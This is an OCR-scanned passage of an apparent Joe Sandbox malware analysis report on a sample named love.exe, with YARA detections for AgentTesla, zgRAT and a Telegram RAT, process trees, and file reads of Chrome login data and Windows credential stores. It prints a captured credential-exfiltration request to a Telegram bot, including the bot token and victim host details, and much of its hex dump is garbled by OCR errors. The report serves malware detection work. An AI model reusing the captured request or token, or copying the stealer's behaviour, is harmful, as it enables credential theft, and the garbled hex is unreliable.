310c ae 42 97 b1 32 06 1c 05 2d f3 fc 15 72 91 47 50 f1 bb a8 13 cf 78 d7 38 f0 €0 a5 2c 15 21 ca e3 be d3 d8 8b b5 88
56 Oe 5b 23 29 14 ac 9a 80 80 d1 aa bf 2a d3 74 al 4d 2e 9 f6 4e 8b 85 9a d4 fb ec 5¢ ff 84 ea db 1a 3d 23 25 38 85 14
d4 04 e2 2c 4b 64 55 00 b2 76 Of 4c cb 11 8a fa 7e af ee 77 09 1e 34 09 88 a0 41 52 3c Oe 76 8f bb ee 18 c8 f6 ed 50 6f
74 c0 03 bb 8b 91 4b 3f 0e d9 bd 95 b6 ed 3f d5 c5 de a6 8b 64 ac 99 0f 77 3f 75 61 90 97 76 26 74 98 64 5d 32 35 6e 64
65 5e 8a dO cb 3e 9e 25 eb 89 7 b3 c0 d0 6e 26 46 d2 1f 08 14 11 87 df 84 36 02 7e 1e f2 e7 76 3b de 90 5d 7a c5 04 95
40 ¢5 56 f2 55 1b b6 eb ¢8 b6 50 17 al 1c b6 95 1c c8 21

Data Ascii: }.$ F6f(P2MZ\|1B2-rGPx8,!V[#)*tM.N\=#%8,KdUvL~w4AR<vPotK??dw?uav&td]25nde”>%n&F6~Vv;]z@VUP!

Data Raw: 13 c2 b3 80 e4 5c e6 f8 c7 fb dd 66 f1 58 97 6e 65 b0 7a 9c 71 21 9e df 96 79 ce dc 60 59 37 6e d4 el ae ee
ce 27 82 24 5f 71 5d 8e 5 f8 9e ca b4 74 fe ee f5 92 7e 7e 82 66 25 ad 9b dc 9f a8 e3 5d c6 4d 34 3d e6 c5 e8 db f6 60
23 dc 5e 3f 14 65 el da 5¢ ba b9 5d 79 b6 a4 39 18 12 3e 78 d2 2a 3c b6 ec dd 83 c2 89 bd 7d 1b 2f 25 9e e8 00 97 {7 b4
84 8b e0 b9 e6 5a 93 fe 58 64 1f fe 25 07 96 cd 9b 08 40 61 31 25 81 37 06 ba cd 10 e2 5f 51 97 11 13 7d 26 66 3a 2d 2a
80 a7 31 15 7f 2c 80 14 e5 2f 65 78 4f fO d6 36 bc 78 01 d6 fa 7f 23 61 34 bc ec 94 3a 5¢ 38 9c 8a 38 76 5a 83 54 €0 ee
17 a2 23 0b 21 €9 0d 94 65 9a c8 2f dd 29 d7 a8 a9 48 ad d1 90 f5 71 7a 26 17 98 a6 6b 2f b9 ba 48 c9 74 bl c0 49 73 70
f2 a0 fd 3f 23 e5 0f 79 52 c8 6f ca 9b b6 8f 8f 30 60 a2

Data Ascii: \fXnezqly Y7n'$_q]t~~f%]M4="#"?e\ly9>x*<}/%ZXd%@al%7_Q}&f:-*1,/exO6x#as:\88vZT#!e/)Hqz&k/Htlsp?
#yRo0"

Data Raw: 23 ¢7 60 27 Ob f2 30 32 d4 28 b9 d8 91 ff 8a a2 cb ce 85 00 25 2b {7 59 09 5a 5f 37 bb 3e ¢8 6a 6¢ ec 51 00 97
ed f7 34 7c 15 16 8d 1f f3 cd 1f 25 b7 4b b9 9c d9 70 4e 7e 4a f2 f8 54 cf ca c6 e7 b6 92 74 0d f7 72 e7 46 58 cf 70 67 c3
97 a4 b0 e2 08 ae 46 ab fa 5a 61 9a 51 24 b6 3b 21 17 28 da fe 3e ¢3 29 58 23 1b 79 e7 8a 6b fb €9 b0 1e 9a c7 85 c3 e3
81 c2 1d d0 ac 72 30 ba 62 93 38 5¢ ea 3b 55 22 cd b4 3f 1b 14 b8 28 07 72 05 35 €6 ca a7 64 36 b2 4c ea 64 2c 06 c8
be 70 18 be a8 9b 73 Ob 8e 42 69 5f 8b a8 b1 3e dd 38 9c f2 bc 13 53 dc fa 5b fd ba aa 80 a6 eb 98 85 72 c5 fe €0 c4 e5
43 d6 31 a8 38 €9 c4 7e 8f ba cd 9c d0 2f 2b c6 a7 55 4b 6e 68 4a 72 24 49 81 c6 c0 b3 6a 6a €4 8e a2 16 db c1 bl 27 48
bb 18 eb 08 43 54 a5 5 38 54 2d 9d c4 4a 2f 1d 68 ff

Data Ascii: #'02(%+YZ_7>j1Q4|%KpN~JTtrFXpgFZaQ$;!(>)X#ykrob8\;U"?(r5d6Ld,psBi_>8S[rC18~/+UKnhJr$ljfHCT8T-
Jh

Data Raw: 9a 65 39 46 d7 d9 19 84 49 a0 07 17 7d 05 a8 d6 cf e2 70 5d cd dO 1c 02 2a 9a 90 31 5f 4d aa ea ed 31 60 90
99 f5 6e el 46 79 7c f9 8a ec 29 24 5a 52 cf 6a 26 83 a8 4e 13 e3 2f ¢7 64 b5 43 41 3f 58 0d 32 c3 e3 bb e2 2a da 16 d8
45 8e 04 bf 5e 1c f0 ad 99 38 c4 92 57 ¢8 8e f9 06 b8 2¢ f4 9b 8b cc 20 ¢3 61 d6 21 84 05 2c 10 ed 65 87 ee 48 Ob a6 ce
8a 6d 27 fa 84 d1 c4 24 08 5e fe 08 €8 a3 92 73 8a 0f e7 9b 92 3d 05 48 ab c0 a6 67 9f 52 80 3d c8 83 ee 53 7e c8 7f da
8a 5f b9 6¢ 20 b9 el 99 a3 4d Ob e5 3b 72 db 34 d9 71 00 d2 26 3b 9d Oc 2b 55 bd 5a ef a6 2a cd f2 36 8f 22 €9 77 Ob 4a
39 b4 53 67 30 50 f5 2f 28 9e 6d 7b €9 14 38 3d 1e c4 04 ec 68 30 6d 4d 04 de 5d e4 f4 ce ec 75 82 4e be 07 21 5f 3a 82
02 85 38 a0 ef 69 b0 24 30 2c 99 26 96 Ob 17 8e 11 ad cf

Data Ascii: e9FI}p]*1_M1 'nFy|)$ZRj&N/dCA?X2*E"8W, al,eHm'$"s=HgR=S~_| M;r4q&;+UZ*6"wJ9SgOoP/(m{8=hOmM
JuN!_:8i$0,&

Destinati
Destination IP estination Process

Port
149.154.167.220 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\InstallUtil.exe

Data

POST /bot5310370668: AAEdB2nfvvFj53Y0axJ-AleA2m93WUxxyM0/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=-----------==-=------uuu-- 8da5548758157ed

Host: api.telegram.org

Content-Length: 996

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

Data Raw: 0d Oa 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35
35 34 38 37 35 38 31 35 37 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64
61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d Oa 0d Oa 35 33 33 34 32 36 37 38 32 32 0d Oa 2d 2d 2d 2d
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 35 34 38 37 35 38 31 35 37 65
64 0d Oa 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d
22 63 61 70 74 69 6f 6e 22 0d Oa 0d Oa 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61
6d 65 3a 20 68 61 72 64 7a 2f 38 34 31 36 37 35 Oa 4f 53 46 75 6¢ 6C

50SFull
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kBytes

Timestamp Direction Data
transferred

2022-06-23 16:21:04 UTC 2411 IN HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Thu, 23 Jun 2022 16:21:04 GMT
Content-Type: application/json
Content-Length: 610
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
{"ok":true,"result":{"message_id":8940,"from":{"id":5310370668,"is_bot":true,"first_name":"Newboss","username"
"nwaeze_bot"},"chat 5334267822, first_name":"Origin","last_name":"Server","type":"private"},"date":1656001264,"d
ocument":{"file_name":"user-841675 2022-06-23 06-44-52.html","mime_type":"text/html|","file_id":"BQACAgQAAxkDAA
1i7GKOkvBWKrk6xIYY5gaDLFVPXUdpAAKNDgAC8zyhUUPpUEOS6SYyIKQQ", "file_unique_id":"AgADjQ4AAVM80
VE","file_size":426},"caption":"New PW Recovered!\n\nUser Name: user/841675\nOSFullName: Microsoft Windows 10
Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Statistics

Behavior

@ love.exe

® cmd.exe

@ conhost.exe
@ timeout.exe
@ InstallUtil.exe
® Grjwvl.exe

® Grjwvl.exe

@ BackgroundTransferHost.exe
® cmd.exe

@ conhost.exe
@ timeout.exe
® cmd.exe

@ conhost.exe
@ timeout.exe
@ InstallUtil.exe
@ InstallUtil.exe
@ InstallUtil.exe

System Behavior

Click to jump to process

Analysis Process: love.exe PID: 6232, Parent PID: 5924

General

Target ID: 0

Start time: 18:19:08

Start date: 23/06/2022

Path: C:\Users\user\Desktop\love.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\love.exe"
Imagebase: 0xdc0000

File size: 25600 bytes

MDS5 hash: F3C4CE7DD49E5728B3DD941EF7E95313
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Copyright Joe Security LLC 2022 Page 102 of 112



Yara matches:

Reputation:

File Activities

Registry Activities

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000000.00000002.343016197.00000000040FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000000.00000002.343016197.00000000040FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:

00000000.00000003.276619656.0000000008226000.00000004.00000800.00020000.00000000.sdmp, Author.

e Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:

: Joe Security

00000000.00000003.280202235.00000000041F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000000.00000002.342398829.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Author:

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000000.00000002.342398829.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Author.

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000000.00000002.342152559.0000000004021000.00000004.00000800.00020000.00000000.sdmp, Author.

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000000.00000002.342152559.0000000004021000.00000004.00000800.00020000.00000000.sdmp, Author.

e Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:

00000000.00000002.352376984.0000000008220000.00000004.08000000.00040000.00000000.sdmp, Author:

e Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source:

00000000.00000002.352376984.0000000008220000.00000004.08000000.00040000.00000000.sdmp, Author.

e Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:

: Joe Security
: Joe Security
: Joe Security
: Joe Security
: Joe Security

: ditekSHen

00000000.00000002.341099204.000000000306E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Analysis Process: cmd.exe PID: 6972, Parent PID: 6232

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

5

18:19:29

23/06/2022

C:\Windows\SysWOW64\cmd.exe

true

"C:\Windows\System32\cmd.exe" /c timeout 20
0xc20000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes Options Completion

Analysis Process: conhost.exe PID: 6980, Parent PID: 6972

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

6

18:19:30

23/06/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7c9170000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Copyright Joe Security LLC 2022
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Analysis Process: timeout.exe PID: 7012, Parent PID: 6972

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

7

18:19:30

23/06/2022

C:\Windows\SysWOW64\timeout.exe

true

timeout 20

0x13e0000

26112 bytes

121A4EDAEGOA7AF6F5DFA82F7BB95659

true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes Options Completion

Analysis Process: InstallUtil.exe PID: 4528, Parent PID: 6232

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

17

18:19:52

23/06/2022

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

true

C:\Windows\Microsoft. NET\Framework\v4.0.30319\InstallUtil.exe

0xca0000

41064 bytes

EFEC8C379D165E3F33B536739AEE26A3

true

true

Net

.

high

Copyright Joe Security LLC 2022

C# or VB.NET

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000011.00000000.336914407.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000011.00000000.336914407.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000011.00000002.441757056.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000011.00000002.441757056.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000011.00000000.337477695.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000011.00000000.337477695.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000011.00000000.337195399.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000011.00000000.337195399.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000011.00000000.337854647.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000011.00000000.337854647.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000011.00000002.442994108.0000000003111000.00000004.00000800.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source:

00000011.00000002.442994108.0000000003111000.00000004.00000800.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:

00000011.00000002.442994108.0000000003111000.00000004.00000800.00020000.00000000.sdmp, Author:

Count Source Address

Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security

Joe Security

Symbol
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File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user read data or list  device directory file | object name collision 1 6DD8CF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list ~ device directory file | object name collision 1 6DD8CF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.config unknown 4095 success or wait 1 6DD65705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.config unknown 8173 end of file 1 6DD65705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DD65705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 6135 success or wait 1 6DD65705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown 176 success or wait 1 6DCCO3DE ReadFile
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.config unknown 4095 success or wait 1 6DD6CA54 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.config unknown 8173 end of file 1 6DD6CA54 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DD6CA54 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DCCO3DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DCCO3DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DCCO3DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DCCO3DE ReadFile
19d4630d26b88041b59c21e8e2b95¢c\System.Xml.ni.dll.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 4095 success or wait 1 6DD65705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 8171 end of file 1 6DD65705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 success or wait 1 6CBD1B4F ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 end of file 1 6CBD1B4F ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.config unknown 4096 success or wait 1 6CBD1B4F ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.config unknown 4096 end of file 1 6CBD1B4F ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.config unknown 4095 success or wait 1 6DD65705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.config unknown 8173 end of file 1 6DD65705 unknown
C:\Program Files (x86)\iDownloader\config\database.script unknown 4096 success or wait 1 6CBD1B4F ReadFile
C:\Program Files (x86)\iDownloader\config\database.script unknown 4096 end of file 1 6CBD1B4F ReadFile
C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5 unknown 11088 success or wait 1 6CBD1B4F ReadFile
CC19A398EBF1B96859CE5D
C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3853321935-  unknown 4096 success or wait 1 6CBD1B4F ReadFile
2125563209-4053062332-1002\d69330e6-123a-482b-9e97-c5af93e4f57¢
C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5S unknown 11088 success or wait 1 6CBD1B4F ReadFile
CC19A398EBF1B96859CE5D
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login unknown 40960 success or wait 1 6CBD1B4F ReadFile
Data
Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Key Path Completion Count Source Address Symbol
Key Path Name Type Data Completion Count Source Address Symbol

Analysis Process: Grjwvl.exe PID: 6984, Parent PID: 3968

General
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Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Antivirus matches:

Reputation:

File Activities

File Created
File Path

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\UsagelLogs\Grjwvl.exe.log

File Written

File Path

18

18:20:00

23/06/2022

C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe

true

"C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe"

0x3e0000

25600 bytes

F3C4ACE7DD49E5728B3DD941EF7E95313

false

false

.Net C# or VB.NET

.

low

Copyright Joe Security LLC 2022

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000012.00000002.444831530.00000000037F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000012.00000002.444831530.00000000037F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000012.00000002.445090863.00000000038CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000012.00000002.445090863.00000000038CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:
00000012.00000002.448199916.00000000074B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source:
00000012.00000002.448199916.00000000074B0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:
00000012.00000002.444046902.000000000283E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000012.00000002.444909008.0000000003840000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000012.00000002.444909008.0000000003840000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:
00000012.00000003.369603767.00000000074B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:
00000012.00000003.374621966.00000000039C9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Detection: 100%, Joe Sandbox ML
Detection: 32%, ReversingLabs

Access Attributes Options Completion Count Source Address
read data or list  device directory file | object name collision 1 6DD8CF06
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
read data or list ~ device directory file | object name collision 1 6DD8CF06
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
read attributes |  device synchronous io  success or wait 1 6E09C78D
synchronize | non alert | non
generic write directory file
Offset Length Value Ascii Completion Count Source Address

Symbol

unknown

unknown

CreateFileW

Symbol
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File Path Offset Length Value

A1) 31 2c 22 66 75 73 69 6f
6e 22 2¢ 22 47 41 43 22
2c¢ 30 0d 0a 31 2c 22 57
69 6e 52 54 22 2c 22 4e
6f74 4170 70 22 2¢ 31
0d 0a 32 2¢ 225379 73
74 65 6d 2e 57 69 6e 64
6f 77 73 2e 46 6f 72 6d
73 2¢ 20 56 65 72 73 69
6f 6e 3d 34 2e 30 2e 30
2e302c2043756¢ 74
75 72 65 3d 6e 65 75 74
72 61 6¢ 2¢ 20 50 75 62
6¢C 69 63 4b 65 79 54 6f
6b 65 6e 3d 62 37 37 61
3563 3536 31 39 33 34
65 30 38 39 22 2¢ 30 0d
0a332¢2253797374
65 6d 2c 20 56 65 72 73
69 6f 6e 3d 34 2e 30 2e
30 2e 30 2¢ 20 43 75 6¢
74 7572 65 3d 6e 65 75
7472 61 6¢2c 2050 75
62 6¢ 69 63 4b 65 79 54
6f 6b 65 6e 3d 62 37 37
61 35 63 35 36 31 39 33
34 65 30 38 39 22 2¢ 22
43 3a 5c 57 69 6e 64 6f
77 73 5¢c 61 73 73 65 6d
62 6¢ 79 5¢C 4e 61 74 69
76 65 49 6d 61 67 65 73
5f 76 34 2e 30 2e 33

C:\Users\user\AppData\Local\Mi 0
crosoft\CLR_v4.0_32\UsagelLogs\
Grjwvl.exe.log

File Read

File Path Offset
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown
19d4630d26b88041b59c21e8e2b95¢\System.Xml.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown

Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Key Path Name Type Data

Analysis Process: Grjwvl.exe PID: 5632, Parent PID: 3968

General

Target ID: 21

Start time: 18:20:08

Start date: 23/06/2022

Path: C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe
Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe"

Copyright Joe Security LLC 2022

Ascii

1,"fusion”,"GAC",01,"Win
RT","N
otApp",12,"System.Wind
ows.Forms,
Version=4.0.0.0,
Culture=neutral,
PublicKeyToken=b77a5¢c
56
1934e089",03,"System,
Version=4.0.0.0,
Culture=neutral, Publ
icKeyToken=b77a5c5619
34e089","
C:\Windows\assembly\Na
tivelmages_v4.0.3

Completion

success or wait

Length Completion
4095 success or wait
6135 success or wait
176 success or wait
4095 success or wait
620 success or wait
864 success or wait
900 success or wait
748 success or wait
4095 success or wait
8171 end of file
4096 success or wait
4096 end of file
Completion
Completion

Count Source Address

i 6E09C907

Count Source Address

1 6DD65705
1 6DD65705
1 6DCCO3DE
1 6DD6CA54
1 6DCCO3DE
1 6DCCO3DE
1 6DCCO3DE
1 6DCCO3DE
1 6DD65705
1 6DD65705
1 6CBD1B4F
1 6CBD1B4F

Count Source Address

Count Source Address

Symbol

WriteFile

Symbol
unknown
unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

unknown
unknown
ReadFile

ReadFile

Symbol

Symbol
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Imagebase: 0xca0000

File size: 25600 bytes

MDS5 hash: F3C4CE7DD49E5728B3DD941EF7E95313

Has elevated privileges: false

Has administrator false

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:

00000015.00000003.391274838.0000000007C61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000015.00000002.464002231.00000000040BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000015.00000002.464002231.00000000040BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000015.00000002.463441760.0000000004030000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000015.00000002.463441760.0000000004030000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:
00000015.00000002.466534836.0000000007C60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
e Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source:
00000015.00000002.466534836.0000000007C60000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
e Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:
00000015.00000003.395977770.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source:
